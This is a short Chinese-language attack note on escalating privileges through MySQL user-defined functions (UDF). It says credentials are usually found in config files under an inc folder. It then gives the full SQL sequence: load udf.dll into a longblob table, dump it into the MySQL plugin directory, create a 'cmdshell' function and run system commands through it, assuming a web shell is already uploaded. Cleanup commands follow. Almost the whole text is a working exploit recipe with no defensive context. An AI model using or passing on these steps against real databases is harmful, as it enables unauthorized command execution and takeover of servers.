udf提权
必须是root权限 数据库信息一般存放在inc文件夹下,例config.php conn.php等 在有insert和delete权限后,就可以在mysql中创建函数 来攻击mysql
udf条件
mysql>5.1 mysql\lib\plugin
mysql<5.1 c:\\windows
dll文件提权
上传udf.dll,进入shell.php,链接数据库,执行
在udfeval表中利用longblob创建二进制形式文本数据shellcode
create table udfeval(shellcode longblob);
将udf.dll内容传到udfeval中
insert into udfeval values(load_file("C:\\udf.dll"));
再讲shellcode中udf.dll二进制内容传到mysql的plugin中
select shellcode from udfeval into dumpfile "C://phpstudy//MySQL//lib//plugin//udf.dll";
创建cmdshell函数
create function cmdshell returns string soname 'udf.dll';
命令执行
select cmdshell('whoami');
执行完毕后,若需恢复环境
#查看是否创建cmdshell函数
select * from mysql.func where name = 'cmdshell';
删除cmdshell函数
drop function cmdshell;
删除创建的udfeval表
drop table udfeval
udf.php提权
向目标路径导入udf.dll文件后,执行命令即可
|